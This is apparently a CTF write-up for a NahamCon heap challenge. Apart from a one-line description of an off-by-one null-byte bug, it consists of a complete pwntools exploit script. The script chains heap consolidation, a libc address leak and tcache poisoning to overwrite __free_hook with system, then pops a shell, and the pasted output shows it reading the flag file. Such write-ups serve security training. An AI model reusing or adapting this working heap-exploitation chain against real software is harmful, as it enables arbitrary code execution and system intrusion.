Rating:
### Bug
\
Off-by-one nullbyte at `edit` and `create`.
\
Full solver,
```python
#!/usr/bin/python3
from pwn import *
PATH = './chall'
GDBSCRIPT = ''''''
HOST = 'challenge.nahamcon.com'
PORT = 31385
def debug(gdbscript):
if type(r) == process:
gdb.attach(r, gdbscript , gdb_args=["--init-eval-command='source ~/.gdbinit_pwndbg'"])
def choice(command):
r.recvuntil('-------------------------\n')
r.sendline(f'{command}')
def add(idx, size, email):
choice('add')
r.sendlineafter(':\n', f'{idx}')
r.sendlineafter(':\n', f'{size}')
r.sendafter(':\n', email)
def view_all():
choice('print')
r.recvline(0)
out = r.recvline(0)
arr = []
while b'Enter' not in out:
arr.append(out.split(b': ')[-1])
out = r.recvline(0)
return arr
def edit(idx, email):
choice('edit')
r.sendlineafter(':\n', f'{idx}')
r.sendafter(':\n', email)
def delete(idx):
choice('delete')
r.sendlineafter(':\n', f'{idx}')
def exploit(r):
# Prepare free'd chunk size 0x10 for heap struct size 0x10 (contains: email size and email pointer)
add(0, 0x8, 'A'*0x4)
add(1, 0x8, 'A'*0x4)
delete(0)
delete(1)
# tcachebins
# 0x10 [ 4]: 0x5655a190 -> 0x5655a1a0 -> 0x5655a170 -> 0x5655a180 <- 0x0
# Prepare target chunk for consolidate
add(0, 0x8c, 'A'*8)
add(1, 0x9c, 'A'*8)
add(2, 0xfc, 'A'*8)
# Fill-up tcachebins (0x88 / 0x101)
for i in range(7):
add(3+i, 0xfc, 'A'*8)
for i in range(7):
delete(i+3)
# tcachebins
# 0x88 [ 7]: 0x5655aa40 -> 0x5655a930 -> 0x5655a820 -> 0x5655a710 -> 0x5655a600 -> 0x5655a4f0 -> 0x5655a3e0 <- 0x0
# Fill-up tcachebins (0x50 / 0x91)
for i in range(7):
add(3+i, 0x8c, 'A'*8)
for i in range(7):
delete(i+3)
# tcachebins
# 0x50 [ 7]: 0x5655aea0 -> 0x5655ae10 -> 0x5655ad80 -> 0x5655acf0 -> 0x5655ac60 -> 0x5655abd0 -> 0x5655ab40 <- 0x0
delete(0)
# Poisoning nullbyte and set fake prev_size of chunks[1].
edit(1, b'X'*8 + b'\n' + b'X'*0x8f + p32(0xa0 + 0x90))
# Trigger, chunk[0] - chunk[2] will be consolidate.
delete(2)
# Create chunks size 0x88 for gaining information leaks
add(0, 0x8c, 'A'*8 + '\n')
add(2, 0x8c, 'A'*8 + '\n')
for i in range(4, 10):
add(i, 0x8c, 'A'*8 + '\n')
# Now, chunk[1] contains address of main_arena
main_arena = u32(view_all()[1][:4])
libc.address = main_arena - 0x1d57d8
# libc.address = main_arena - 0x1d87d8
print(f'[!] LEAK 0x{main_arena:x}')
print(f'[!] LIBC 0x{libc.address:x}')
# Prepare space of global_email_ptr for tcache-poisoning.
delete(0)
delete(2)
for i in range(4, 10):
delete(i)
# Create chunks with size 0x200, overlap with chunk[1].
add(0, 0x200, 'X'*0x10)
# Free chunks[1]
delete(1)
# Tcache-poisoing, overwrite tcache FD pointer chunk[1] to __free_hook.
edit(0, b'A'*0x8c + p32(0x1a1) + p32(libc.sym['__free_hook']))
# 0xd8 [ 1]: 0x5655a240 -> 0x2aa4b8d0 (__free_hook) <- ...
# Padding and prepare for string "/bin/sh".
add(1, 0x190, '/bin/sh')
# Overwrite `__free_hook` to `__libc_system`
add(2, 0x190, p32(libc.sym['system']))
# pwndbg> tel &__free_hook 1
# 00:0000│ 0x2aa4b8d0 (__free_hook) -> 0x2a8af2e0 (system) ...
# Trigger free("/bin/sh") -> system("/bin/sh") !
delete(1)
# debug(GDBSCRIPT)
'''
$ id
uid=1000(notroot) gid=1000(notroot) groups=1000(notroot)
$ ls -l
total 2064
-rwxr-xr-x 1 notroot notroot 9468 Mar 7 03:33 chall
-rw-r--r-- 1 root root 39 Mar 7 03:33 flag_066646e4be1e6ea2.txt
-rwxr-xr-x 1 root root 159956 Mar 7 03:33 ld-linux.so.2
-rw-r--r-- 1 root root 31 Mar 7 03:33 libc.txt
-rwxr-xr-x 1 root root 1926828 Mar 7 03:33 libc6-i386_2.27-3ubuntu1_amd64.so
$ cat flag*
flag{e0ef1723c16102559a07c68e3c956e43}
'''
r.interactive()
if __name__ == '__main__':
elf = ELF(PATH)
libc = ELF('./libc.so.6', 0)
if args.REMOTE:
r = remote(HOST, PORT)
else:
r = process(PATH, aslr=0, env={
'LD_PRELOAD' : './libc.so.6'
})
exploit(r)
```